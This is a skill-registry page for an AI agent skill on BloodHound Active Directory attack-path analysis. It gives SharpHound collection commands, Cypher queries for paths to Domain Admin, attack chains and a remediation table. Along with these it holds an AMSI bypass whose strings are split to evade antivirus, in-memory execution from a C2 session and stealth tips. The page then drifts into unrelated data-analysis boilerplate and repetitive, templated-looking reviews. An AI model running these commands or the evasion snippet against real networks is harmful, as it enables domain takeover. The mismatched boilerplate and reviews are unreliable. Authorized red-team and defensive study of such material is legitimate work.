performing-active-directory-bloodhound-analysis

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

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$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-active-directory-bloodhound-analysis
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summary

Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.

skill.md
name
performing-active-directory-bloodhound-analysis
description
Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.
domain
cybersecurity
subdomain
red-teaming
tags
- bloodhound - active-directory - sharphound - attack-path - ad-enumeration - graph-theory - privilege-escalation
version
'1.0'
author
mahipal
license
Apache-2.0
d3fend_techniques
- Restore Access - Password Authentication - Biometric Authentication - Strong Password Policy - Restore User Account Access
nist_csf
- ID.RA-01 - GV.OV-02 - DE.AE-07

Performing Active Directory BloodHound Analysis

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

When to Use

  • When conducting security assessments that involve performing active directory bloodhound analysis
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Initial foothold on a domain-joined Windows system (or valid domain credentials)
  • BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
  • SharpHound collector (C# binary or PowerShell module)
  • Neo4j database (Legacy) or PostgreSQL (CE)
  • Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique IDNameTactic
T1087.002Account Discovery: Domain AccountDiscovery
T1069.002Permission Groups Discovery: Domain GroupsDiscovery
T1018Remote System DiscoveryDiscovery
T1482Domain Trust DiscoveryDiscovery
T1615Group Policy DiscoveryDiscovery
T1069.001Permission Groups Discovery: Local GroupsDiscovery

Step 1: Data Collection with SharpHound

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Step 2: Import Data into BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Step 3: Attack Path Analysis

Pre-Built Queries (Most Critical)

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN [email protected]'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

Custom Cypher Queries

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

Step 4: Common Attack Paths

Path 1: Kerberoasting to DA

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

Path 2: ACL Abuse Chain

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

Path 3: Unconstrained Delegation

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

Path 4: GPO Abuse

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Step 5: Remediation Recommendations

FindingRiskRemediation
Kerberoastable DACriticalUse gMSA, rotate passwords, AES-only
Unconstrained DelegationCriticalMigrate to constrained/RBCD delegation
Domain Users local adminHighRemove DA from local admin, use LAPS
Excessive ACL permissionsHighAudit and reduce GenericAll/WriteDACL
Stale admin sessionsMediumImplement session cleanup, restrict RDP
Cross-domain trust abuseHighReview trust direction and SID filtering

References

how to use performing-active-directory-bloodhound-analysis

How to use performing-active-directory-bloodhound-analysis on Cursor

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1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add performing-active-directory-bloodhound-analysis
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/performing-active-directory-bloodhound-analysis

The skills CLI fetches performing-active-directory-bloodhound-analysis from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

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4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/performing-active-directory-bloodhound-analysis

Reload or restart Cursor to activate performing-active-directory-bloodhound-analysis. Access the skill through slash commands (e.g., /performing-active-directory-bloodhound-analysis) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

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Use Cases

Exploratory Data Analysis

Quickly understand datasets, identify patterns, and generate insights

Example

Analyze CSV with 100K rows, identify outliers, visualize correlations, suggest hypotheses

Reduce EDA time from hours to minutes, uncover insights faster

Data Cleaning & Transformation

Write scripts to clean messy data, handle missing values, normalize formats

Example

Generate Python/SQL to fix date formats, impute missing values, remove duplicates

Automate 80% of data preprocessing work

Statistical Analysis

Perform hypothesis testing, regression, and statistical modeling

Example

Run A/B test analysis, calculate confidence intervals, interpret p-values

Get statistically sound analysis without PhD in statistics

Data Visualization

Create charts, dashboards, and visual reports

Example

Generate matplotlib/seaborn code for time series plots, distribution charts, heatmaps

Build presentation-ready visualizations 3x faster

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client
  • Python environment (pandas, numpy, matplotlib) or SQL database access
  • Basic understanding of data analysis concepts
  • Sample datasets for testing skill capabilities

Time Estimate

20-40 minutes to set up and run first analysis

Installation Steps

  1. 1.Install data analysis skill using provided command
  2. 2.Prepare a sample dataset (CSV, JSON, or database connection)
  3. 3.Start with descriptive statistics: 'Summarize this dataset'
  4. 4.Progress to visualization: 'Create a scatter plot of X vs Y'
  5. 5.Advanced analysis: 'Run linear regression and interpret results'
  6. 6.Validate outputs: check calculations, verify visualizations make sense
  7. 7.Document analysis workflow for reproducibility

Common Pitfalls

  • Not validating statistical assumptions before applying tests
  • Accepting visualizations without checking data accuracy
  • Overlooking data quality issues (missing values, outliers)
  • Misinterpreting correlation as causation
  • Using wrong statistical test for data distribution
  • Not considering sample size and statistical power

Best Practices

✓ Do

  • +Always validate data quality before analysis
  • +Check statistical assumptions (normality, independence, etc.)
  • +Visualize data before running statistical tests
  • +Document analysis steps for reproducibility
  • +Cross-validate findings with domain experts
  • +Use skill for initial exploration, then dive deeper manually
  • +Save generated code for reuse on similar datasets

✗ Don't

  • Don't trust analysis without verifying data quality
  • Don't apply statistical tests without checking assumptions
  • Don't make business decisions solely on AI-generated analysis
  • Don't ignore outliers without investigating cause
  • Don't skip data validation and sanity checks
  • Don't use for mission-critical financial or medical analysis without expert review

💡 Pro Tips

  • Describe data context: 'This is user behavior data from e-commerce site'
  • Ask for interpretation: 'What does this correlation mean for business?'
  • Request multiple approaches: 'Show 3 ways to handle missing data'
  • Combine AI analysis with domain expertise for best insights
  • Use for rapid prototyping, then refine analysis manually

When to Use This

✓ Use When

Use for exploratory data analysis, data cleaning, statistical testing, visualization prototyping, and learning new analysis techniques. Best for initial exploration and rapid insights.

✗ Avoid When

Avoid for mission-critical financial analysis, medical research requiring regulatory compliance, production ML models, or when deep statistical expertise is required for nuanced interpretation.

Learning Path

  1. 1Basic: descriptive statistics, data cleaning, simple visualizations
  2. 2Intermediate: hypothesis testing, regression, correlation analysis
  3. 3Advanced: time series analysis, clustering, predictive modeling
  4. 4Expert: causal inference, experimental design, advanced statistical methods

Discussion

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general reviews

Ratings

4.739 reviews
  • Valentina Bhatia· Dec 28, 2024

    performing-active-directory-bloodhound-analysis has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Carlos Mehta· Dec 8, 2024

    performing-active-directory-bloodhound-analysis is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Anika Zhang· Nov 27, 2024

    Solid pick for teams standardizing on skills: performing-active-directory-bloodhound-analysis is focused, and the summary matches what you get after install.

  • Xiao Tandon· Nov 19, 2024

    Keeps context tight: performing-active-directory-bloodhound-analysis is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Yash Thakker· Nov 15, 2024

    We added performing-active-directory-bloodhound-analysis from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Kofi Chen· Nov 15, 2024

    We added performing-active-directory-bloodhound-analysis from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Yuki Patel· Oct 18, 2024

    performing-active-directory-bloodhound-analysis has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Anika Liu· Oct 10, 2024

    performing-active-directory-bloodhound-analysis is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Dhruvi Jain· Oct 6, 2024

    performing-active-directory-bloodhound-analysis fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Jin Desai· Oct 6, 2024

    performing-active-directory-bloodhound-analysis fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

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